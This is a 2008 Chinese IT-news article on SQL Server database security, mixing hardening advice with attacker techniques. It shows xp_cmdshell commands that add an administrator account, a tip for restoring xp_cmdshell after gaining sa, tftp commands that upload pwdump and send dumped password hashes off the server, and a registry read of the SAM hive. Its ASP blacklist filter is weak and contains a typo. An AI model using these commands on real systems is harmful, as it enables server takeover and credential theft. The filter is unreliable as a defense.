[ 登录 ][ 注册 ] 天极传媒: 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
您现在的位置: IT专家网 > 安全子站 > 评论分析

调整重心 了解从IIS到SQL Server数据库安全

作者: 左边,  出处:赛迪网, 责任编辑: 郭秋爽, 
2008-05-19 09:37
  从codered到nimda等,一大堆蠕虫把原来需要人工利用的漏洞都变成了程序自动利用了,大家还想去手工操作这些IIS漏洞么?让我们调整重心,去看看服务器常用的数据库吧。

  从codered到nimda等,一大堆蠕虫把原来需要人工利用的漏洞都变成了程序自动利用了,大家还想去手工操作这些IIS漏洞么?让我们调整重心,去看看服务器常用的数据库吧。

  一般网站都是基于数据库的,特别是ASP、PHP、JSP这样的用数据库来动态显示的网站。很多网站可能多注意的是操作系统的漏洞,但是对数据库和这些脚本的安全总是忽略,也没有太多注意。

  从最比较普遍的脚本问题开始,这些都是老话题了,大家可以参考Hectic写的《关于数据库的简单入侵和无赖破坏,以天融信做例子》,该文章对从SQL脚本问题说得非常详细。对于脚本安全的解决,也可以通过过滤来实现,可以参考我以前写的。对于ASP来说,可以使用下面这个过滤函数:

  


Function Filter_SQL(strData)
  
      Dim strFilter
  Dim blnFlag
  Dim i
  
      strFilter="’,;,//,--,@,_,exec,declare"
  blnFlag=Flase
  
      Dim arrayFilter
  arrayFilter=Split(strFilter,",")
  For i=0 To UBound(arrayFilter)
  If Instr(strData,arrayFilter(i))>0 Then
  blnFlag=True
  Exit For
  End If
  Next
  
      If blnFlag Then
  Response.Redirect "wrong.asp"
  Else
  Filter_SQL=strData
  End If
  
      End Function

  对于MS SQL Server数据库来说,安全问题不仅仅局限在脚本上了。“天杀的微软”的系统性很强,整个基于WINDOWS系统的应用都有很强的关联性,对SQL Server来说,基本可以把数据库管理和系统管理等同起来了。SQL Server默认的管理员帐号“sa”的密码是空的,这给多数NT服务器产生一个安全漏洞。小榕的“SQLRCMD”,就能够利用获得的数据库管理员帐号执行系统命令。

  在SQL Server中有很多系统存储过程,有些是数据库内部使用的,还有一些就是通过执行存储过程来调用系统命令。

  系统存储过程:xp_cmdshell

  就是以操作系统命令行解释器的方式执行给定的命令字符串。它就具体语法是:xp_cmdshell {’command_string’} [, no_output]

  xp_cmdshell在默认情况下,只有 sysadmin 的成员才能执行。但是,sysadmin也可以授予其他用户这个执行权限。在早期版本中,获得 xp_cmdshell 执行权限的用户在 SQL Server 服务的用户帐户中运行命令。可以通过配置选项配置 SQL Server,以便对 SQL Server 无 sa 访问权限的用户能够在SQLExecutiveCmdExec Windows NT 帐户中运行 xp_cmdshell。在 SQL Server 7.0 中,该帐户称为 SQLAgentCmdExec。现在对于SQL Server2000,只要有一个能执行该存储过程的帐号就可以直接运行命令了。

  对于 NT 和 WIN2000,当用户不是 sysadmin 组的成员时,xp_cmdshell 将模拟使用xp_sqlagent_proxy_account 指定的 SQL Server 代理程序的代理帐户。如果代理帐户不能用,则 xp_cmdshell 将失败。所以即使有一个帐户是master数据库的db_owner,也不能执行这个存储过程。

  如果我们有一个能执行xp_cmdshell的数据库帐号,比如是空口令的sa帐号。那么我们可以执行这样的命令:

  

      exec xp_cmdshell ’net user refdom 123456 /add’
  exec xp_cmdshell ’net localgroup administrators refdom /add’
  上面两次调用就在系统的管理员组中添加了一个用户:refdom

  当我们获得数据库的sa管理员帐号后,就应该可以完全控制这个机器了。可见数据库安全的重要性。

  下面这些存储过程都是对Public可以执行的:

      xp_fileexist,用来确定一个文件是否存在。
  xp_getfiledetails,可以获得文件详细资料。
  xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。
  Xp_getnetname,可以获得服务器名称。
  还有可以操作注册表的存储过程,这些不是对Public可以执行的,需要系统管理员或者授权执行:

     Xp_regaddmultistring
  Xp_regdeletekey
  Xp_regdeletevalue
  Xp_regenumvalues
  Xp_regread (对Public可以执行)
  Xp_regremovemultistring
  Xp_regwrite
  SQL Server的安全配置

  除跟着微软打满所有补丁外,还需要加强数据库的安全。

  首先,你需要加强象sa这样的帐号的密码,跟系统帐号的使用配置相似,一般操作数据库不要使用象sa这样的最高权限的帐号,而使用能满足你的要求的一般帐号。

  接着对扩展存储过程开始大屠杀,首先就是xp_cmdshell,还有就是上面那些一大堆存储过程,都drop吧,一般也用不着。

  执行:

      use master
  sp_dropextendedproc ’xp_cmdshell’
  去掉guest帐号,阻止非授权用户访问。

  去掉不必要的网络协议。

  加强对数据库登陆的日志记录,最好记录所有登陆事件。可以用下面的简单DOS命令来查看日志:

  findstr /C:"登录" d:\Microsoft SQL Server\MSSQL\LOG\*.*

  用管理员帐号定期检查所有帐号,是否密码为空或者过于简单,比如下面的语句:

      use master
  Select name,Password from syslogins where password is null

  用下面语句对所有帐号,检查对存储过程和扩展存储过程的执行权,提防不必要的执行权限扩散:
 
      use master
      Select sysobjects.name From sysobjects,
  sysprotects Where sysprotects.uid = 0
  AND xtype IN (’X’,’P’) AND sysobjects.id = sysprotects.id
  加强数据库的安全是非常重要的,有的数据库服务器是和WEB服务器隔离开的,这就同MAIL服务器一样,数据库的日志可能就基本很少去查看,这将会成为管理员的一个疏忽点。类似DNS、MAIL等等,数据库服务器往往成为各种入侵的跳板。

  下面是一些关于数据库的问答和技巧:

  1、获得SA权限后,却不能执行xp_cmdshell存储过程怎么办?

  答:可能是已经把xp_cmdshell等扩展存储过程删除了,可以用这个存储过程把xp_cmdshell恢复。

  sp_addextendedproc ’xp_cmdshell’, ’xpsql70.dll’

  2、通过数据库用pwdump获得系统管理员密码

  先上传一个pwdump

      tftp -i GET pwdump3.exe pwdump3.exe   
      tftp -i GET lsaext.dll lsaext.dll
  tftp -i GET pwservice.exe pwservice.exe
  pwdump3 127.0.0.1 outfile.txt
  tftp PUT outfile.txt outfile.txt
  然后再用解密工具l0pht等等破解这些密码。

  3、从数据库读取系统管理员密码。

  能读出加密的密码是NT的"administrator"帐号也不能做的,SQL Server能读出来是使用的“LocalSystem”帐号,这个帐号比administrator更高一级。可以使用下面这个存储过程。不过读出来的密码是经过加密后的,然后再解密吧。

  xp_regread ’HKEY_LOCAL_MACHINE’,’SECURITY\SAM\Domains\Account’,’F’

  当然,数据库安全和缺陷还有很多,还需要更多的研究。我对数据库的学习还是起步阶段,限于自己的水平,上面的难免有错,欢迎大家指正和指教。如果你有更多关于数据库的安全资料或者疑问,欢迎联系我,Email: dongjw#staff.ccidnet.com (请将"#"改为"@")

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。

邮件订阅


    • 解析Windows密码安全问题(第三部分)评论
      在前两部分文章中,我们讨论了Windows密码政策的问题以及它是如何在Active Directory环境被控制等问题,大家应该还记得在默认情况下密码政策和相关的设置位于默认域策略中(Default Domain Policy)。另外同样探讨了可以使用哪些技术破获windows密码,以及每种攻击方式的限制问题。那么,在本文中,我们将讨论如何让windows密码变得更加安全,以及如何能够解决在前两部分文章中出现的所有问题。本文将涉及Windows2002/2003/2008Active Directory默认安装带来的可能性以及其他能够整体提高密码安全的技术。
    • IDC创新和安全白皮书:合作或竞争评论
      业务创新是业务发展战略非常重要的一部分,并而日益成为公司保持竞争优势的决定性因素。由于创新的战略重要性,导致了我们越来越关注信息安全机制在抑制甚至扼杀业务创新方面起到的作用。IDC认为公司不仅是需要找到业务创新和有可能扼杀这种创新的信息安全机制,而且需要在这两者之间找到一个简洁的平衡来满足自己的业务需求。成功的企业能够在商业竞争中占有优势,是因为他们懂得去合理的利用两者使之成为一种具有杠杆作用的机制,而其它的企业只是单单强调其中的一个。
    • 预防企业数据丢失的6种最佳实践评论
      根据“私有权清算中心”(一家非赢利性消费者信息和倡导组织)的统计,自2005年1月以来,有将近2200万条记录遭到破坏。数据失窃和丢失案件数量惊人,这不仅是因为安全入侵事件正在以惊人的速度持续增长,数据丢失引发的财产损失事件也同样在飞速增加。根据美国政府的估计,所谓的“企业数据丢失”在去年使商业界损失了近1050亿美元。根据波尼蒙研究所(Ponemon Institute)的统计,仅仅内部人士导致的数据受损一项,每年给商业界造成的损失为平均每家公司3-4百万美元。产业分析公司Gartner集团估计,恢复数据的开销可以达到每条破坏记录150美元之高——这一数字还没有包括重拾客户信任和重建品牌价值、可能的罚款以及法律诉讼代理费的资金投入。在企业数据丢失案件有增无减的同时,公司也正在不断搜集更多数据,以求优化商业流程,改善客户服务,以及提升与合作伙伴的关系。更多的数据转化为相关数据在整个企业中数量不断增多的信息系统之间更广泛的传播。其结果就是——随着公司内外越来越多的用户获得接入系统的权限,敏感数据遭到破坏的风险也在不断增大。
    • RSA白皮书:管理银行的信息风险评论
      信息是银行的基础,但直到现在,金融机构还往往满足于以业务封闭式的方式管理风险。然而,行业的压力促使银行开始对这种战略展开思考。